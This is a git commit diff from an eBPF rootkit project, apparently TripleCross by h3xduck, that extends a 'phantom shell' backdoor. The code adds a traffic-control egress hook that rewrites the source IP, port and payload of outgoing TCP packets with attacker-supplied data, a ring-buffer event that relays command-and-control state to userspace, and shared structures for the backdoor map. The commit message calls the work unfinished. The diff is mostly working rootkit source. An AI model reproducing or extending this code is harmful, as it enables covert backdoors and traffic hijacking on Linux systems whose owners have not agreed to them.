Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready

This commit is contained in:
h3xduck
2022-05-10 23:04:19 -04:00
parent f2c3624e8b
commit 567d8d706c
12 changed files with 2982 additions and 2892 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -28,7 +28,7 @@
#define CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL 2 #define CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL 2
#define CC_PROT_COMMAND_PHANTOM_SHELL 3 #define CC_PROT_COMMAND_PHANTOM_SHELL 3
#define CC_PROT_PHANTOM_COMMAND_LIST_HOOKS 0 #define CC_PROT_PHANTOM_SHELL_INIT "CC_PHANTOM_INIT"
//C&C V3 -- Distributed hidden payload in packet stream + encrypted shell //C&C V3 -- Distributed hidden payload in packet stream + encrypted shell
struct trigger_32_t { struct trigger_32_t {

View File

@@ -1,6 +1,8 @@
#ifndef __MAP_COMMON_H #ifndef __MAP_COMMON_H
#define __MAP_COMMON_H #define __MAP_COMMON_H
#include "struct_common.h"
// Ring buffer for kernel->user communication // Ring buffer for kernel->user communication
#define RB_EVENT_MAX_MESSAGE_SIZE 512 #define RB_EVENT_MAX_MESSAGE_SIZE 512
typedef enum { typedef enum {
@@ -8,13 +10,15 @@ typedef enum {
DEBUG, DEBUG,
EXIT, EXIT,
ERROR, ERROR,
COMMAND COMMAND,
PSH_UPDATE
} event_type_t; } event_type_t;
struct rb_event { struct rb_event {
int pid; int pid;
char message[RB_EVENT_MAX_MESSAGE_SIZE]; char message[RB_EVENT_MAX_MESSAGE_SIZE];
int code; int code;
struct backdoor_phantom_shell_data bps_data;
event_type_t event_type; event_type_t event_type;
}; };

View File

@@ -0,0 +1,13 @@
#ifndef __H_STRUCT_COMMON
#define __H_STRUCT_COMMON
struct backdoor_phantom_shell_data{
int active;
unsigned int d_ip;
unsigned short d_port;
char payload[64];
};
#endif

View File

@@ -47,11 +47,7 @@ struct backdoor_packet_log_data_16{
}; };
//Map value, contains data of phantom shell, if active //Map value, contains data of phantom shell, if active
struct backdoor_phantom_shell_data{ //In struct_common.h, it is used from userspace and kernel many times, so moved there
int active;
__u32 d_ip;
__u16 d_port;
};
struct fs_priv_open{ //Map struct fs_priv_open{ //Map

View File

@@ -17,6 +17,7 @@
#define __H_TCKIT #define __H_TCKIT
#include "defs.h" #include "defs.h"
#include "../../../common/struct_common.h"
#include "../../../common/constants.h" #include "../../../common/constants.h"
SEC("classifier/egress") SEC("classifier/egress")
@@ -45,7 +46,7 @@ int classifier_egress(struct __sk_buff *skb){
return TC_ACT_OK; return TC_ACT_OK;
} }
if(ip->protocol != IPPROTO_TCP){ if(ip->protocol != IPPROTO_TCP){
bpf_printk("TCP\n"); //bpf_printk("Not TCP\n");
return TC_ACT_OK; return TC_ACT_OK;
} }
@@ -67,9 +68,10 @@ int classifier_egress(struct __sk_buff *skb){
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp); bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
__u32 payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4); __u32 payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
/*bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4); bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
char* payload = (void *)(tcp + tcp->doff*4); //char* payload = (void *)(tcp + tcp->doff*4);
if ((void*)payload + payload_size > data_end){ char* payload = data_end - payload_size;
/*if ((void*)payload + payload_size > data_end){
bpf_printk("PAYLOAD CHECK, payload:%llx, payload_size:%llx, data_end:%llx\n", payload, payload_size, data_end); bpf_printk("PAYLOAD CHECK, payload:%llx, payload_size:%llx, data_end:%llx\n", payload, payload_size, data_end);
return TC_ACT_OK; return TC_ACT_OK;
}*/ }*/
@@ -86,10 +88,7 @@ int classifier_egress(struct __sk_buff *skb){
struct backdoor_phantom_shell_data ps_new_data = {0}; struct backdoor_phantom_shell_data ps_new_data = {0};
if(ps_data == (void*)0){ if(ps_data == (void*)0){
//Phantom shell not active //Phantom shell not active
bpf_printk("Phantom shell NOT active anytime\n"); bpf_printk("Phantom shell NOT active yet\n");
ps_new_data.active = 1;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY); int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){ if(err<0){
bpf_printk("Fail to update map\n"); bpf_printk("Fail to update map\n");
@@ -97,28 +96,24 @@ int classifier_egress(struct __sk_buff *skb){
return TC_ACT_OK; return TC_ACT_OK;
} }
if(ps_data->active == 0){ if(ps_data->active == 0){
bpf_printk("Phantom shell NOT active now\n"); bpf_printk("Phantom shell NOT active right now\n");
ps_new_data.active = 1;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){
bpf_printk("Fail to update map\n");
}
return TC_ACT_OK; return TC_ACT_OK;
} }
ps_new_data.active = 1; //We will complete this request, so we get the backdoor in inactive state
ps_new_data.d_ip = 1; ps_new_data.active = 0;
ps_new_data.d_port = 1; ps_new_data.d_ip = ps_data->d_ip;
ps_new_data.d_port = ps_data->d_port;
__builtin_memcpy(ps_new_data.payload, ps_data->payload, 64);
//ps_new_data.payload = ps_data->payload;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY); int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){ if(err<0){
bpf_printk("Fail to update map\n"); bpf_printk("Fail to update map\n");
} }
bpf_printk("Phantom shell active now, active is %i\n", ps_data->active); bpf_printk("Phantom shell active now, A:%i IP:%i P:%i\n", ps_data->active, ps_data->d_ip, ps_data->d_port);
__u32 new_ip = ps_data->d_ip; __u32 new_ip = ps_data->d_ip;
__u16 new_port = ps_data->d_port; __u16 new_port = ps_data->d_port;
__u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr); __u32 offset_ip = offsetof(struct iphdr, saddr)+ sizeof(struct ethhdr);
__u16 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr); __u16 offset_port = offsetof(struct tcphdr, source)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
bpf_printk("offset ip: %u\n", offset_ip); bpf_printk("offset ip: %u\n", offset_ip);
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM); int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM);
if (ret < 0) { if (ret < 0) {
@@ -132,6 +127,46 @@ int classifier_egress(struct __sk_buff *skb){
return TC_ACT_OK; return TC_ACT_OK;
} }
//We want to substitute the payload too.
bpf_printk("Payload: %s\n", payload);
if(payload_size>=64){
return TC_ACT_OK;
}
ret = bpf_skb_change_tail(skb, 64-payload_size, 0);
if (ret < 0) {
bpf_printk("Failed to enlarge the packet (via tail): %d\n", ret);
return TC_ACT_OK;
}
//After changing the packet bounds, all the boundaries must be check again
eth = data;
if ((void *)eth + sizeof(struct ethhdr) > data_end){
bpf_printk("ETH\n");
return TC_ACT_OK;
}
ip = (struct iphdr*)(data + sizeof(struct ethhdr));
if ((void *)ip + sizeof(struct iphdr) > data_end){
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
return TC_ACT_OK;
}
tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr));
if ((void *)tcp + sizeof(struct tcphdr) > data_end){
bpf_printk("TCP CHECK\n");
return TC_ACT_OK;
}
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
payload = data_end - payload_size;
if(payload<(char*)data || payload_size>=sizeof(char)*64){
return TC_ACT_OK;
}
ret = bpf_skb_store_bytes(skb, payload-(char*)data, ps_data->payload, (sizeof(char)*64)-payload_size, BPF_F_RECOMPUTE_CSUM);
if (ret < 0) {
bpf_printk("Failed to overwrite destination port: %d\n", ret);
return TC_ACT_OK;
}
return TC_ACT_OK; return TC_ACT_OK;
} }
@@ -198,13 +233,13 @@ int classifier_ingress(struct __sk_buff *skb){
//We redirect whatever packet this is to the rootkit //We redirect whatever packet this is to the rootkit
//The TCP retransmissions will be in charge of resending it correctly later //The TCP retransmissions will be in charge of resending it correctly later
__u64 key = 1; /*__u64 key = 1;
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key); struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
struct backdoor_phantom_shell_data ps_new_data = {0}; struct backdoor_phantom_shell_data ps_new_data = {0};
if(ps_data == (void*)0){ if(ps_data == (void*)0){
//Phantom shell not active //Phantom shell not active
bpf_printk("Phantom shell NOT active anytime\n"); bpf_printk("Phantom shell NOT active anytime\n");
ps_new_data.active = 1; ps_new_data.active = 4;
ps_new_data.d_ip = 1; ps_new_data.d_ip = 1;
ps_new_data.d_port = 1; ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY); int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
@@ -215,7 +250,7 @@ int classifier_ingress(struct __sk_buff *skb){
} }
if(ps_data->active == 0){ if(ps_data->active == 0){
bpf_printk("Phantom shell NOT active now\n"); bpf_printk("Phantom shell NOT active now\n");
ps_new_data.active = 1; ps_new_data.active = 5;
ps_new_data.d_ip = 1; ps_new_data.d_ip = 1;
ps_new_data.d_port = 1; ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY); int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
@@ -224,7 +259,7 @@ int classifier_ingress(struct __sk_buff *skb){
} }
return TC_ACT_OK; return TC_ACT_OK;
} }
ps_new_data.active = 1; ps_new_data.active = 6;
ps_new_data.d_ip = 1; ps_new_data.d_ip = 1;
ps_new_data.d_port = 1; ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY); int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
@@ -248,7 +283,7 @@ int classifier_ingress(struct __sk_buff *skb){
if (ret < 0) { if (ret < 0) {
bpf_printk("Failed to overwrite destination port: %d\n", ret); bpf_printk("Failed to overwrite destination port: %d\n", ret);
return TC_ACT_OK; return TC_ACT_OK;
} }*/
return TC_ACT_OK; return TC_ACT_OK;

View File

@@ -63,6 +63,26 @@ static __always_inline int ring_buffer_send_backdoor_command(struct ring_buffer
return 0; return 0;
} }
/**
* @brief Sends an event indicating a received command in the backdoor
*
* @return 0 if ok, -1 if error
*/
static __always_inline int ring_buffer_send_request_update_phantom_shell(struct ring_buffer *rb, int pid, int code, struct backdoor_phantom_shell_data data){
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
if(!event){
return -1;
}
event->code = code;
event->event_type = PSH_UPDATE;
event->pid = pid;
event->bps_data = data;
bpf_ringbuf_submit(event, 0);
return 0;
}

View File

@@ -37,8 +37,8 @@ static __always_inline int execute_key_command(int command_received, __u32 ip, _
ps_new_data.active = 1; ps_new_data.active = 1;
ps_new_data.d_ip = ip; ps_new_data.d_ip = ip;
ps_new_data.d_port = port; ps_new_data.d_port = port;
__builtin_memcpy(ps_new_data.payload, CC_PROT_PHANTOM_SHELL_INIT, 16);
bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY); ring_buffer_send_request_update_phantom_shell(&rb_comm, pid, command_received, ps_new_data);
break; break;
default: default:

BIN
src/tc.o

Binary file not shown.

View File

@@ -16,6 +16,7 @@
#include "../common/constants.h" #include "../common/constants.h"
#include "../common/map_common.h" #include "../common/map_common.h"
#include "../common/c&c.h" #include "../common/c&c.h"
#include "../common/struct_common.h"
#include "include/utils/files/path.h" #include "include/utils/files/path.h"
#include "include/utils/strings/regex.h" #include "include/utils/strings/regex.h"
#include "include/utils/structures/fdlist.h" #include "include/utils/structures/fdlist.h"
@@ -28,6 +29,8 @@
goto cleanup\ goto cleanup\
} }
static int FD_TC_MAP;
static struct env { static struct env {
bool verbose; bool verbose;
} env; } env;
@@ -132,6 +135,22 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
default: default:
printf("Command received unknown: %d\n", e->code); printf("Command received unknown: %d\n", e->code);
} }
}else if(e->event_type == PSH_UPDATE){
printf("Requested to update the phantom shell\n");
int key = 1;
struct backdoor_phantom_shell_data data;
int err = bpf_map_lookup_elem(FD_TC_MAP, &key, &data);
if(err<0) {
printf("Failed to read the shared map\n");
return -1;
}
printf("Pre value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
data.active = e->bps_data.active;
data.d_ip = e->bps_data.d_ip;
data.d_port = e->bps_data.d_port;
memcpy(data.payload, e->bps_data.payload, 64);
printf("Post value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
}else{ }else{
printf("%s COMMAND pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message); printf("%s COMMAND pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
return -1; return -1;
@@ -182,17 +201,11 @@ int check_map_fd_info(int map_fd, struct bpf_map_info *info, struct bpf_map_info
return 0; return 0;
} }
struct backdoor_phantom_shell_data{
int active;
__u32 d_ip;
__u16 d_port;
};
int main(int argc, char**argv){ int main(int argc, char**argv){
struct ring_buffer *rb = NULL; struct ring_buffer *rb = NULL;
struct kit_bpf *skel; struct kit_bpf *skel;
struct bpf_map_info map_expect = { 0 }; struct bpf_map_info map_expect = {0};
struct bpf_map_info info = { 0 }; struct bpf_map_info info = {0};
__u32 err; __u32 err;
//Ready to be used //Ready to be used
@@ -267,17 +280,17 @@ int main(int argc, char**argv){
goto cleanup; goto cleanup;
} }
int tc_efd = bpf_obj_get("/sys/fs/bpf/tc/globals/backdoor_phantom_shell"); FD_TC_MAP = bpf_obj_get("/sys/fs/bpf/tc/globals/backdoor_phantom_shell");
printf("TC MAP ID: %i\n", tc_efd); printf("TC MAP ID: %i\n", FD_TC_MAP);
map_expect.key_size = sizeof(__u64); map_expect.key_size = sizeof(__u64);
map_expect.value_size = sizeof(struct backdoor_phantom_shell_data); map_expect.value_size = sizeof(struct backdoor_phantom_shell_data);
map_expect.max_entries = 1; map_expect.max_entries = 1;
err = check_map_fd_info(tc_efd, &info, &map_expect); err = check_map_fd_info(FD_TC_MAP, &info, &map_expect);
if (err) { if (err) {
fprintf(stderr, "ERR: map via FD not compatible\n"); fprintf(stderr, "ERR: map via FD not compatible\n");
return err; return err;
} }
printf("\nCollecting stats from BPF map\n"); printf("Collected stats from BPF map:\n");
printf(" - BPF map (bpf_map_type:%d) id:%d name:%s" printf(" - BPF map (bpf_map_type:%d) id:%d name:%s"
" key_size:%d value_size:%d max_entries:%d\n", " key_size:%d value_size:%d max_entries:%d\n",
info.type, info.id, info.name, info.type, info.id, info.name,
@@ -285,11 +298,12 @@ int main(int argc, char**argv){
); );
int key = 1; int key = 1;
struct backdoor_phantom_shell_data data; struct backdoor_phantom_shell_data data;
err = bpf_map_lookup_elem(tc_efd, &key, &data); err = bpf_map_lookup_elem(FD_TC_MAP, &key, &data);
if(err<0) { if(err<0) {
printf("Failed to lookup element\n"); printf("Failed to lookup element\n");
} }
printf("%i, %i, %i\n", data.active, data.d_ip, data.d_port); printf("Value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
//bpf_map_update_elem(tc_efd, &key, &data, 0);
/*bpf_obj_get(NULL); /*bpf_obj_get(NULL);
char* DIRECTORY_PIN = "/sys/fs/bpf/mymaps"; char* DIRECTORY_PIN = "/sys/fs/bpf/mymaps";